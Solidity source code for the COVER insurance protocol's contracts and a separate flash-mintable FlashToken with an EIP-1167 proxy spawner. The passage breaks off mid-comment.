claimManager = _address;\n return true;\n }\n\n function updateGovernance(address _address)\n external override onlyGovernance returns (bool)\n {\n require(_address != address(0), \"COVER: address cannot be 0\");\n require(_address != owner(), \"COVER: governance cannot be owner\");\n governance = _address;\n return true;\n }\n\n function updateTreasury(address _address)\n external override onlyOwner returns (bool)\n {\n require(_address != address(0), \"COVER: address cannot be 0\");\n treasury = _address;\n return true;\n }\n\n function _computeAddress(bytes32 salt, address deployer) private pure returns (address) {\n bytes memory bytecode = type(InitializableAdminUpgradeabilityProxy).creationCode;\n return Create2.computeAddress(salt, keccak256(bytecode), deployer);\n }\n}" }, "contracts/CoverERC20.sol": { "content": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.7.3;\n\nimport \"./utils/Initializable.sol\";\nimport \"./utils/Ownable.sol\";\nimport \"./utils/SafeMath.sol\";\nimport \"./interfaces/ICoverERC20.sol\";\n\n/**\n * @title CoverERC20 implements {ERC20} standards with expended features for COVER\n * @author crypto-pumpkin@github\n *\n * COVER's covToken Features:\n * - Has mint and burn by owner (Cover contract) only feature.\n * - No limit on the totalSupply.\n * - Should only be created from Cover contract. See {Cover}\n */\ncontract CoverERC20 is ICoverERC20, Initializable, Ownable {\n using SafeMath for uint256;\n\n uint8 public constant decimals = 18;\n string public constant name = \"covToken\";\n\n // The symbol of the contract\n string public override symbol;\n uint256 private _totalSupply;\n\n mapping(address => uint256) private balances;\n mapping(address => mapping (address => uint256)) private allowances;\n\n /// @notice Initialize, called once\n function initialize (string calldata _symbol) external initializer {\n symbol = _symbol;\n initializeOwner();\n }\n\n /// @notice Standard ERC20 function\n function balanceOf(address account) external view override returns (uint256) {\n return balances[account];\n }\n\n /// @notice Standard ERC20 function\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n /// @notice Standard ERC20 function\n function transfer(address recipient, uint256 amount) external virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n /// @notice Standard ERC20 function\n function allowance(address owner, address spender) external view virtual override returns (uint256) {\n return allowances[owner][spender];\n }\n\n /// @notice Standard ERC20 function\n function approve(address spender, uint256 amount) external virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n /// @notice Standard ERC20 function\n function transferFrom(address sender, address recipient, uint256 amount)\n external virtual override returns (bool)\n {\n _transfer(sender, recipient, amount);\n _approve(sender, msg.sender, allowances[sender][msg.sender].sub(amount, \"CoverERC20: transfer amount exceeds allowance\"));\n return true;\n }\n\n /// @notice New ERC20 function\n function increaseAllowance(address spender, uint256 addedValue) public virtual override returns (bool) {\n _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));\n return true;\n }\n\n /// @notice New ERC20 function\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override returns (bool) {\n _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue, \"ERC20: decreased allowance below zero\"));\n return true;\n }\n\n /// @notice COVER specific function\n function mint(address _account, uint256 _amount)\n external override onlyOwner returns (bool)\n {\n require(_account != address(0), \"CoverERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(_amount);\n balances[_account] = balances[_account].add(_amount);\n emit Transfer(address(0), _account, _amount);\n return true;\n }\n\n /// @notice COVER specific function\n function setSymbol(string calldata _symbol)\n external override onlyOwner returns (bool)\n {\n symbol = _symbol;\n return true;\n }\n\n /// @notice COVER specific function\n function burnByCover(address _account, uint256 _amount) external override onlyOwner returns (bool) {\n _burn(_account, _amount);\n return true;\n }\n\n /// @notice COVER specific function\n function burn(uint256 _amount) external override returns (bool) {\n _burn(msg.sender, _amount);\n return true;\n }\n\n function _transfer(address sender, address recipient, uint256 amount) internal {\n require(sender != address(0), \"CoverERC20: transfer from the zero address\");\n require(recipient != address(0), \"CoverERC20: transfer to the zero address\");\n\n balances[sender] = balances[sender].sub(amount, \"CoverERC20: transfer amount exceeds balance\");\n balances[recipient] = balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"CoverERC20: burn from the zero address\");\n\n balances[account] = balances[account].sub(amount, \"CoverERC20: burn amount exceeds balance\");\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"CoverERC20: approve from the zero address\");\n require(spender != address(0), \"CoverERC20: approve to the zero address\");\n\n allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}\n" }, "contracts/Cover.sol": { "content": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.7.3;\n\nimport \"./proxy/InitializableAdminUpgradeabilityProxy.sol\";\nimport \"./utils/Create2.sol\";\nimport \"./utils/Initializable.sol\";\nimport \"./utils/Ownable.sol\";\nimport \"./utils/ReentrancyGuard.sol\";\nimport \"./utils/SafeMath.sol\";\nimport \"./utils/SafeERC20.sol\";\nimport \"./interfaces/ICover.sol\";\nimport \"./interfaces/ICoverERC20.sol\";\nimport \"./interfaces/IERC20.sol\";\nimport \"./interfaces/IOwnable.sol\";\nimport \"./interfaces/IProtocol.sol\";\nimport \"./interfaces/IProtocolFactory.sol\";\n\n/**\n * @title Cover contract\n * @author crypto-pumpkin@github\n *\n * The contract\n * - Holds collateral funds\n * - Mints and burns CovTokens (CoverERC20)\n * - Allows redeem from collateral pool with or without an accepted claim\n */\ncontract Cover is ICover, Initializable, Ownable, ReentrancyGuard {\n using SafeMath for uint256;\n using SafeERC20 for IERC20;\n\n bytes4 private constant COVERERC20_INIT_SIGNITURE = bytes4(keccak256(\"initialize(string)\"));\n uint48 public override expirationTimestamp;\n address public override collateral;\n ICoverERC20 public override claimCovToken;\n ICoverERC20 public override noclaimCovToken;\n string public override name;\n uint256 public override claimNonce;\n\n modifier onlyNotExpired() {\n require(block.timestamp < expirationTimestamp, \"COVER: cover expired\");\n _;\n }\n\n /// @dev Initialize, called once\n function initialize (\n string calldata _name,\n uint48 _timestamp,\n address _collateral,\n uint256 _claimNonce\n ) public initializer {\n name = _name;\n expirationTimestamp = _timestamp;\n collateral = _collateral;\n claimNonce = _claimNonce;\n\n initializeOwner();\n\n claimCovToken = _createCovToken(\"CLAIM\");\n noclaimCovToken = _createCovToken(\"NOCLAIM\");\n }\n\n function getCoverDetails()\n external view override returns (string memory _name, uint48 _expirationTimestamp, address _collateral, uint256 _claimNonce, ICoverERC20 _claimCovToken, ICoverERC20 _noclaimCovToken)\n {\n return (name, expirationTimestamp, collateral, claimNonce, claimCovToken, noclaimCovToken);\n }\n\n /// @notice only owner (covered protocol) can mint, collateral is transfered in Protocol\n function mint(uint256 _amount, address _receiver) external override onlyOwner onlyNotExpired {\n _noClaimAcceptedCheck(); // save gas than modifier\n\n claimCovToken.mint(_receiver, _amount);\n noclaimCovToken.mint(_receiver, _amount);\n }\n\n /// @notice redeem CLAIM covToken, only if there is a claim accepted and delayWithClaim period passed\n function redeemClaim() external override {\n IProtocol protocol = IProtocol(owner());\n require(protocol.claimNonce() > claimNonce, \"COVER: no claim accepted\");\n\n (uint16 _payoutNumerator, uint16 _payoutDenominator, uint48 _incidentTimestamp, uint48 _claimEnactedTimestamp) = _claimDetails();\n require(_incidentTimestamp <= expirationTimestamp, \"COVER: cover expired before incident\");\n require(block.timestamp >= uint256(_claimEnactedTimestamp) + protocol.claimRedeemDelay(), \"COVER: not ready\");\n\n _paySender(\n claimCovToken,\n uint256(_payoutNumerator),\n uint256(_payoutDenominator)\n );\n }\n\n /**\n * @notice redeem NOCLAIM covToken, accept\n * - if no claim accepted, cover is expired, and delayWithoutClaim period passed\n * - if claim accepted, but payout % < 1, and delayWithClaim period passed\n */\n function redeemNoclaim() external override {\n IProtocol protocol = IProtocol(owner());\n if (protocol.claimNonce() > claimNonce) {\n // protocol has an accepted claim\n\n (uint16 _payoutNumerator, uint16 _payoutDenominator, uint48 _incidentTimestamp, uint48 _claimEnactedTimestamp) = _claimDetails();\n\n if (_incidentTimestamp > expirationTimestamp) {\n // incident happened after expiration date, redeem back full collateral\n\n require(block.timestamp >= uint256(expirationTimestamp) + protocol.noclaimRedeemDelay(), \"COVER: not ready\");\n _paySender(noclaimCovToken, 1, 1);\n } else {\n // incident happened before expiration date, pay 1 - payout%\n\n // If claim payout is 100%, nothing is left for NOCLAIM covToken holders\n require(_payoutNumerator < _payoutDenominator, \"COVER: claim payout 100%\");\n\n require(block.timestamp >= uint256(_claimEnactedTimestamp) + protocol.claimRedeemDelay(), \"COVER: not ready\");\n _paySender(\n noclaimCovToken,\n uint256(_payoutDenominator).sub(uint256(_payoutNumerator)),\n uint256(_payoutDenominator)\n );\n }\n } else {\n // protocol has no accepted claim\n\n require(block.timestamp >= uint256(expirationTimestamp) + protocol.noclaimRedeemDelay(), \"COVER: not ready\");\n _paySender(noclaimCovToken, 1, 1);\n }\n }\n\n /// @notice redeem collateral, only when no claim accepted and not expired\n function redeemCollateral(uint256 _amount) external override onlyNotExpired {\n require(_amount > 0, \"COVER: amount is 0\");\n _noClaimAcceptedCheck(); // save gas than modifier\n\n ICoverERC20 _claimCovToken = claimCovToken; // save gas\n ICoverERC20 _noclaimCovToken = noclaimCovToken; // save gas\n\n require(_amount <= _claimCovToken.balanceOf(msg.sender), \"COVER: low CLAIM balance\");\n require(_amount <= _noclaimCovToken.balanceOf(msg.sender), \"COVER: low NOCLAIM balance\");\n\n _claimCovToken.burnByCover(msg.sender, _amount);\n _noclaimCovToken.burnByCover(msg.sender, _amount);\n _payCollateral(msg.sender, _amount);\n }\n\n /**\n * @notice set CovTokenSymbol, will update symbols for both covTokens, only dev account (factory owner)\n * For example:\n * - COVER_CURVE_2020_12_31_DAI_0\n */\n function setCovTokenSymbol(string calldata _name) external override {\n require(_dev() == msg.sender, \"COVER: not dev\");\n\n claimCovToken.setSymbol(string(abi.encodePacked(_name, \"_CLAIM\")));\n noclaimCovToken.setSymbol(string(abi.encodePacked(_name, \"_NOCLAIM\")));\n }\n\n /// @notice the owner of this contract is Protocol contract, the owner of Protocol is ProtocolFactory contract\n function _factory() private view returns (address) {\n return IOwnable(owner()).owner();\n }\n\n // get the claim details for the corresponding nonce from protocol contract\n function _claimDetails() private view returns (uint16 _payoutNumerator, uint16 _payoutDenominator, uint48 _incidentTimestamp, uint48 _claimEnactedTimestamp) {\n return IProtocol(owner()).claimDetails(claimNonce);\n }\n\n /// @notice the owner of ProtocolFactory contract is dev, also see {_factory}\n function _dev() private view returns (address) {\n return IOwnable(_factory()).owner();\n }\n\n /// @notice make sure no claim is accepted\n function _noClaimAcceptedCheck() private view {\n require(IProtocol(owner()).claimNonce() == claimNonce, \"COVER: claim accepted\");\n }\n\n /// @notice transfer collateral (amount - fee) from this contract to recevier, transfer fee to COVER treasury\n function _payCollateral(address _receiver, uint256 _amount) private nonReentrant {\n IProtocolFactory factory = IProtocolFactory(_factory());\n uint256 redeemFeeNumerator = factory.redeemFeeNumerator();\n uint256 redeemFeeDenominator = factory.redeemFeeDenominator();\n uint256 fee = _amount.mul(redeemFeeNumerator).div(redeemFeeDenominator);\n address treasury = factory.treasury();\n IERC20 collateralToken = IERC20(collateral);\n\n collateralToken.safeTransfer(_receiver, _amount.sub(fee));\n collateralToken.safeTransfer(treasury, fee);\n }\n\n /// @notice burn covToken and pay sender\n function _paySender(\n ICoverERC20 _covToken,\n uint256 _payoutNumerator,\n uint256 _payoutDenominator\n ) private {\n require(_payoutNumerator <= _payoutDenominator, \"COVER: payout % is > 100%\");\n require(_payoutNumerator > 0, \"COVER: payout % < 0%\");\n\n uint256 amount = _covToken.balanceOf(msg.sender);\n require(amount > 0, \"COVER: low covToken balance\");\n\n _covToken.burnByCover(msg.sender, amount);\n\n uint256 payoutAmount = amount.mul(_payoutNumerator).div(_payoutDenominator);\n _payCollateral(msg.sender, payoutAmount);\n }\n\n /// @dev Emits NewCoverERC20\n function _createCovToken(string memory _suffix) private returns (ICoverERC20) {\n bytes memory bytecode = type(InitializableAdminUpgradeabilityProxy).creationCode;\n bytes32 salt = keccak256(abi.encodePacked(IProtocol(owner()).name(), expirationTimestamp, collateral, claimNonce, _suffix));\n address payable proxyAddr = Create2.deploy(0, salt, bytecode);\n\n bytes memory initData = abi.encodeWithSelector(COVERERC20_INIT_SIGNITURE, string(abi.encodePacked(name, \"_\", _suffix)));\n address coverERC20Implementation = IProtocolFactory(_factory()).coverERC20Implementation();\n InitializableAdminUpgradeabilityProxy(proxyAddr).initialize(\n coverERC20Implementation,\n IOwnable(_factory()).owner(),\n initData\n );\n\n emit NewCoverERC20(proxyAddr);\n return ICoverERC20(proxyAddr);\n }\n}" } }, "settings": { "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "abi" ] } }, "libraries": {} } }}
DC1
pragma solidity 0.5.16; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } interface IBorrower { function executeOnFlashMint(uint256 amount) external; } /// @title FlashToken /// @author Stephane Gosselin (@thegostep), Austin Williams (@Austin-Williams) /// @notice Anyone can be rich... for an instant. contract FlashToken is ERC20 { using SafeMath for uint256; ERC20 internal _baseToken; address private _factory; ///////////////////////////// // Template Initialization // ///////////////////////////// /// @notice Modifier which only allows to be `DELEGATECALL`ed from within a constructor on initialization of the contract. modifier initializeTemplate() { // set factory _factory = msg.sender; // only allow function to be `DELEGATECALL`ed from within a constructor. uint32 codeSize; assembly { codeSize := extcodesize(address) } require(codeSize == 0, "must be called within contract constructor"); _; } /// @notice Initialize the instance with the base token function initialize(address baseToken) public initializeTemplate() { _baseToken = ERC20(baseToken); } /// @notice Get the address of the factory for this clone. /// @return factory address of the factory. function getFactory() public view returns (address factory) { return _factory; } /// @notice Get the address of the base token for this clone. /// @return factory address of the base token. function getBaseToken() public view returns (address baseToken) { return address(_baseToken); } ////////////// // flashing // ////////////// /// @notice Modifier which allows anyone to mint flash tokens. /// @notice An arbitrary number of flash tokens are minted for a single transaction. /// @notice Reverts if insuficient tokens are returned. modifier flashMint(uint256 amount) { // mint tokens and give to borrower _mint(msg.sender, amount); // reverts if `amount` makes `_totalSupply` overflow // execute flash fuckening _; // burn tokens _burn(msg.sender, amount); // reverts if `msg.sender` does not have enough units of the FMT // sanity check (not strictly needed) require( _baseToken.balanceOf(address(this)) >= totalSupply(), "redeemability was broken" ); } /// @notice Deposit baseToken function deposit(uint256 amount) public { require( _baseToken.transferFrom(msg.sender, address(this), amount), "transfer in failed" ); _mint(msg.sender, amount); } /// @notice Withdraw baseToken function withdraw(uint256 amount) public { _burn(msg.sender, amount); // reverts if `msg.sender` does not have enough CT-baseToken require(_baseToken.transfer(msg.sender, amount), "transfer out failed"); } /// @notice Executes flash mint and calls strandard interface for transaction execution function softFlashFuck(uint256 amount) public flashMint(amount) { // hand control to borrower IBorrower(msg.sender).executeOnFlashMint(amount); } /// @notice Executes flash mint and calls arbitrary interface for transaction execution function hardFlashFuck( address target, bytes memory targetCalldata, uint256 amount ) public flashMint(amount) { (bool success, ) = target.call(targetCalldata); require(success, "external call failed"); } } /// @title Spawn /// @author 0age (@0age) for Numerai Inc /// @dev Security contact: [email protected] /// @dev Version: 1.2.0 /// @notice This contract provides creation code that is used by Spawner in order /// to initialize and deploy eip-1167 minimal proxies for a given logic contract. contract Spawn { constructor( address logicContract, bytes memory initializationCalldata ) public payable { // delegatecall into the logic contract to perform initialization. (bool ok, ) = logicContract.delegatecall(initializationCalldata); if (!ok) { // pass along failure message from delegatecall and revert. assembly { returndatacopy(0, 0, returndatasize) revert(0, returndatasize) } } // place eip-1167 runtime code in memory. bytes memory runtimeCode = abi.encodePacked( bytes10(0x363d3d373d3d3d363d73), logicContract, bytes15(0x5af43d82803e903d91602b57fd5bf3) ); // return eip-1167 code to write it to spawned contract runtime. assembly { return(add(0x20, runtimeCode), 45) // eip-1167 runtime code, length } } } /// @title Spawner /// @author 0age (@0age) and Stephane Gosselin (@thegostep) for Numerai Inc /// @dev Security contact: [email protected] /// @dev Version: 1.2.0 /// @notice This contract spawns and initializes eip-1167 minimal proxies that /// point to existing logic contracts. The logic contracts need to have an /// initializer function that should only callable when no contract exists at /// their current address (i.e. it is being `DELEGATECALL`ed from a constructor). contract Spawner { /// @notice Internal function for spawning an eip-1167 minimal proxy using `CREATE2`. /// @param creator address The address of the account creating the proxy. /// @param logicContract address The address of the logic contract. /// @param initializationCalldata bytes The calldata that will be supplied to /// the `DELEGATECALL` from the spawned contract to the logic contract during /// contract creation. /// @return The address of the newly-spawned contract. function _spawn( address creator, address logicContract, bytes memory initializationCalldata ) internal returns (address spawnedContract) { // get instance code and hash bytes memory initCode; bytes32 initCodeHash; (initCode, initCodeHash) = _getInitCodeAndHash(logicContract, initializationCalldata); // get valid create2 target (address target, bytes32 safeSalt) = _getNextNonceTargetWithInitCodeHash(creator, initCodeHash); // spawn create2 instance and validate return _executeSpawnCreate2(initCode, safeSalt, target); } /// @notice Internal function for spawning an eip-1167 minimal proxy using `CREATE2`. /// @param creator address The address of the account creating the proxy. /// @param logicContract address The address of the logic contract. /// @param initializationCalldata bytes The calldata that will be supplied to /// the `DELEGATECALL` from the spawned contract to the logic contract during /// contract creation. /// @param salt bytes32 A user defined salt. /// @return The address of the newly-spawned contract. function _spawnSalty( address creator, address logicContract, bytes memory initializationCalldata, bytes32 salt ) internal returns (address spawnedContract) { // get instance code and hash bytes memory initCode; bytes32 initCodeHash; (initCode, initCodeHash) = _getInitCodeAndHash(logicContract, initializationCalldata); // get valid create2 target (address target, bytes32 safeSalt, bool validity) = _getSaltyTargetWithInitCodeHash(creator, initCodeHash, salt); require(validity, "contract already deployed with supplied salt"); // spawn create2 instance and validate return _executeSpawnCreate2(initCode, safeSalt, target); } /// @notice Private function for spawning an eip-1167 minimal proxy using `CREATE2`. /// Reverts with appropriate error string if deployment is unsuccessful. /// @param initCode bytes The spawner code and initialization calldata. /// @param safeSalt bytes32 A valid salt hashed with creator address. /// @param target address The expected address of the proxy. /// @return The address of the newly-spawned contract. function _executeSpawnCreate2(bytes memory initCode, bytes32 safeSalt, address target) private returns (address spawnedContract) { assembly { let encoded_data := add(0x20, initCode) // load initialization code. let encoded_size := mload(initCode) // load the init code's length. spawnedContract := create2( // call `CREATE2` w/ 4 arguments. callvalue, // forward any supplied endowment. encoded_data, // pass in initialization code. encoded_size, // pass in init code's length. safeSalt // pass in the salt value. ) // pass along failure message from failed contract deployment and revert. if iszero(spawnedContract) { returndatacopy(0, 0, returndatasize) revert(0, returndatasize) } } // validate spawned instance matches target require(spawnedContract == target, "attempted deployment to unexpected address"); // explicit return return spawnedContract; } /// @notice Internal view function for finding the expected address of the standard /// eip-1167 minimal proxy created using `CREATE2` with a given logic contract, /// salt, and initialization calldata payload. /// @param creator address The address of the account creating the proxy. /// @param logicContract address The address of the logic contract. /// @param initializationCalldata bytes The calldata that will be supplied to /// the `DELEGATECALL` from the spawned contract to the logic contract during /// contract creation. /// @param salt bytes32 A user defined salt. /// @return target address The address of the newly-spawned contract. /// @return validity bool True if the `target` is available. function _getSaltyTarget( address creator, address logicContract, bytes memory initializationCalldata, bytes32 salt ) internal view returns (address target, bool validity) { // get initialization code bytes32 initCodeHash; ( , initCodeHash) = _getInitCodeAndHash(logicContract, initializationCalldata); // get valid target (target, , validity) = _getSaltyTargetWithInitCodeHash(creator, initCodeHash, salt); // explicit return return (target, validity); } /// @notice Internal view function for finding the expected address of the standard /// eip-1167 minimal proxy created using `CREATE2` with a given initCodeHash, and salt. /// @param creator address The address of the account creating the proxy. /// @param initCodeHash bytes32 The hash of initCode. /// @param salt bytes32 A user defined salt. /// @return target address The address of the newly-spawned contract. /// @return safeSalt bytes32 A safe salt. Must include the msg.sender address for front-running protection. /// @return validity bool True if the `target` is available. function _getSaltyTargetWithInitCodeHash( address creator, bytes32 initCodeHash, bytes32 salt ) private view returns (address target, bytes32 safeSalt, bool validity) { // get safeSalt from input safeSalt = keccak256(abi.encodePacked(creator, salt)); // get expected target target = _computeTargetWithCodeHash(initCodeHash, safeSalt); // get target validity validity = _getTargetValidity(target); // explicit return return (target, safeSalt, validity); } /// @notice Internal view function for finding the expected address of the standard /// eip-1167 minimal proxy created using `CREATE2` with a given logic contract, /// nonce, and initialization calldata payload. /// @param creator address The address of the account creating the proxy. /// @param logicContract address The address of the logic contract. /// @param initializationCalldata bytes The calldata that will be supplied to /// the `DELEGATECALL` from the spawned contract to the logic contract during /// contract creation. /// @return target address The address of the newly-spawned contract. function _getNextNonceTarget( address creator, address logicContract, bytes memory initializationCalldata ) internal view returns (address target) { // get initialization code bytes32 initCodeHash; ( , initCodeHash) = _getInitCodeAndHash(logicContract, initializationCalldata); // get valid target (target, ) = _getNextNonceTargetWithInitCodeHash(creator, initCodeHash); // explicit return return target; } /// @notice Internal view function for finding the expected address of the standard /// eip-1167 minimal proxy created using `CREATE2` with a given initCodeHash, and nonce. /// @param creator address The address of the account creating the proxy. /// @param initCodeHash bytes32 The hash of initCode. /// @return target address The address of the newly-spawned 